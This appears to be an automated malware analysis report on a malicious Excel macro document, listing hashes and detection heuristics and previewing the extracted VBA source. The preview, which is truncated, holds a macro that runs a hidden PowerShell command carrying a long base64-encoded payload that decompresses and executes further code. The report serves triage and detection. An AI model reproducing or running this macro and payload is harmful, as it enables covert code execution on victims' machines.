Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6501ea677205394f…

MALICIOUS

Office (OOXML)

22.2 KB Created: 2021-09-15 18:29:38 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-27
MD5: 43cfe12e73ec5dd75400662eea8f853e SHA-1: 08c11b9a90af9bf42e80ea35dda36d4276077d62 SHA-256: 6501ea677205394f2e721d5e0a7b6839d489b95af9b46436ba3daa3fa75eaac0
300 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15616 bytes
SHA-256: dc9068a415cb5d6e65f08c76fdc236dc5affa4f05dfa0c8b391d11254e5c518b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 48 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "현재_통합_문서"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub aKtVH()
  Dim g6G5PNfr
  g6G5PNfr = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwA" _
& "cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAAL" _
& "QBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATw" _
& "BiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARQBNADUAUQBtAEUAQwBBAHsAMgB9AFYAVwBiAFkALwBhAE8AQgBEACsAMwBFAHsAMQB9ADkARAAxAEcARgBSAEsASwB5AGgATAB" _
& "kAHUAbAA1AFUAcQBuAFEATQBFAFMAQQBsAHYASQBjAEIAQwAwAGMAbQBiAG0ARwBCAHcAWQBqAFoAeABlAE4AbABlAC8ALwB0AE4AQwBHAHkAJwAnACsAJwAnADMANgB2AGEAdQBQAGUAawBpAEkAZQB6AHgAegBIAGoAbQBtAGMAYwBlAEwAKwBQAEEARQBaAFEASABFAHUAOAAwAGIAZQBuAEwAbQA5AGUAdgArAGoAagBFAHYAaQBSAG4AMwBPAG0AZgBPAFMAawBUAEcAUQB7ADEAfQBJAE0AaAA0" _
& "AEoASwB0ACcAJwArACcAJwBKACcAJwArACcAJwBIAFMAWgA2AGoAewAyAH0AYgBiAE8AZgBVAHkARAB4AGUAMQB0ACcAJwArACcAJwBMAFEANQBEAEUAbwBoADAAbgBtADgAUwBnAGEASwBJACsAUABlAE0AawBrAGgAVwBwAEwAKwBrAHkAWQBxAEUANQBLAHAAMwB2AHkAYQAnACcAKwAnACcATwBrAEwANQBJAG0AVAAvAHoAVABjAGIAdgBNAFQAdQB7ADEAfQBIAFcAdgBZAFcAUgBIAHAAQwBnA" _
& "FYAdQBzAHQAYgBoAEQAawA0AGkAeQBWAHQAYgBSAG8AVwBjAC8AZgB3ADUAcQA4AHkAdgBpAG8AJwAnACsAJwAnAHQAOAA0AHkASABHAEwASgBLAHoAMQBqAEUAUwB4AE0AKwB7ADIAfQBqAEcAVQBWADYAYQB1AFMAYgBEAGcANgBiAG8AbQBjAE4AYQBrAFQAOABvAGcAdgBSAFgANQBDAGcAMwBJAHAAYgB3AGMAUgBYAHAASQB1AGUATgBzAFIAawA0AGcAVgBkADYATQAnACcAKwAnACcAcwBaAE" _
& "EARgA1AGgARQBUAEUAWQBTAEMAZAAwAGsAbgBzADAAMQBVADUAQwA4AE4AKwB5AEIAMwBrAHUAaQBHAEoAbwBtAHgATwBtAGkAZQBlADUANAB2AEYASAAvAEwAOAB2AE8AMAB3AEQAZwBUADEAUwBiADQAZAAnACcAKwAnACcAQwBCAEwAeQB7ADEAfQBVAFgAQwBIAFgAVgBJAGwARwAvAGgAdwBHAFYAawBTAEoAWQBMAHMATABKAEUAUwBBAE4AdgBvAFMAaQBnAHQAdQBNAGIASQBtAGUAQwBtAEw" _
& "ARwBjADkARAB0AHUANQBDAHsAMgB9AFoAWAAwAEQAewAyAH0AVgBTAFAANQB1AFIARgBvADkAVQBXAG8ANQBLAEMARwBMACsAUgBwAGMAagBkAG0ASgBMAFgATQB2AGgAQgBvAFUAbgBjAEYAdgB7ADEAfQBUADIAQQBOAHYAWABCAEwAbgBsAGgAUwBaAGIAdQAzAFYANABUAGgATQBZAHYAWgBxAGYAeABnAFIAaQBrAC8AcwA4AG8AaQBlADkAagAxAEkAaABKADUAbQB3AEMAeABZADgAUABNAEkA" _
& "MABNAHcAcABqAG8AaQB5AGUAawBKAFUAeQB2AHAAYgB7ADIAfQB1AFgAWAB4AG8AZwBxAEsAKwA2ADQATgBrAHYAbQBZAFUAMwBjAEIARgBtAGsAcABNAC8ARgBtADYAdQAwAFMAKwBjADgAcABXAFMAZABMAEcAcABEADYATQBjAEEAKwBkAFMANgBzAGsAMQA4AEMAbQBDAHcAWgBPAFMAVwBZAHYANgBoADEASQBTAFkANQBlADEANABnAGIAcAAwAHcANABtAEcAUgBRAEoAYgBVACsAUQBlAHoAa" _
& "ABrAC8ARgBrADYAMABXAFUAKwBhAFMARQBEAGwAUQBwAEEAaQBpAGcAdgBvAHAAMwB3AGUAVABWAGsASABPAHQAZwBPAFQAKwBBAEIAUQBPAGcAZgBpAFoAWgBiAEEAZABYAEwAUgBQAHYAUAB7ADIAfQBlAE4AawA5AG0AWQBOAFMAdABzAFoAdwBGAE8AVwBrAGYAZwB5AEgAegBjAGwASgBGAHMARwBNAHUARABrAEoAQgBSAEUAOQBMADYARgBZADgATgBNAHcAKwB5ADEAYwBNADIAYQBDAE8Aag" _
& "BnAFMARgAzAGMATAA1AFEAbgBJADgANABZADEASABrAFEAaQBqAEIAJwAnACsAJwAnADAAbwBHAGkAUQAvAHMAewAxAH0AYgBFAG8AWgBnAGwAVwBPAFMAawBGAG4AVwBKAGQAewAxAH0AUwBvAGQAOQBrADQAKwB5AEkAUwBOAGMAdwBZAEgAQQBMAHcAdABJAE4ASwBnAEMAUgBCAHcAQgBJAEoARgBVAEsASQBFAGMAcQB1ADUAQwAwAGkAMgB2ADYAVwBFAFIAOAAwAFQAbwAnACcAKwAnACcAZAB" _
& "lAFoAOQBpAEQASQAzADQAbQArAG8AawA1ADIAQwBOAHUAOQBvAGMAQQBMADAAJwAnACsAJwAnAHgATwBhAFoAdABnAGM
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 34816 bytes
SHA-256: 22a113399ba2bd340b33051f2c2857243e0b1f660c413fde73cf71eadbb0e79b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 48 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.